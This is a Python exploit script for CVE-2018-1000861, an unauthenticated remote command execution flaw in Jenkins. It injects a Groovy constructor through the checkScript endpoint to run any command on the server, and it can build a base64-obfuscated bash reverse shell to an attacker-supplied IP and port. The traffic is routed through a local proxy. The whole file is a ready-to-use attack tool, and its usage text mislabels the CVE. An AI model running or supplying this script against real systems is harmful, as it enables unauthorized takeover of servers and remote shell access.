'''
CVE-2018-1000861  Jenkins远程命令执行漏洞
writen by ophxc
'''
import requests
import argparse
import base64
parser=argparse.ArgumentParser(description="usage of CVE-9-3396")
parser.add_argument("-u","--url",help="the target url",required=True)
parser.add_argument("-c","--command",help="the command you want to excute")
args=parser.parse_args()

url=args.url
cmd = args.command
if cmd is None:
    flag=input("do you want to get a shell?(y/n)")
    if flag =="y":
        ip=input("please give me the ip : ")
        port=input("please give the port : ")
        place=ip+"/"+port
        cmd="bash -c {echo,"+str(base64.b64encode(("/bin/bash -i >& /dev/tcp/"+place+" 0>&1").encode('utf-8'))).replace('b\'',"").replace('\'',"").replace('+','%2b')+"}|{base64,-d}|{bash,-i}"    #注意将bas64编码后生成的特殊字符进行url编码
        print(cmd)
        print("the shell is reverse.")
    else :
        exit("sth wrong")
proxy = {
    'http': '127.0.0.1:8080'
}
url="http://"+url+"/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){\""+cmd+"\".execute()}}"
res=requests.get(url=url,proxies=proxy)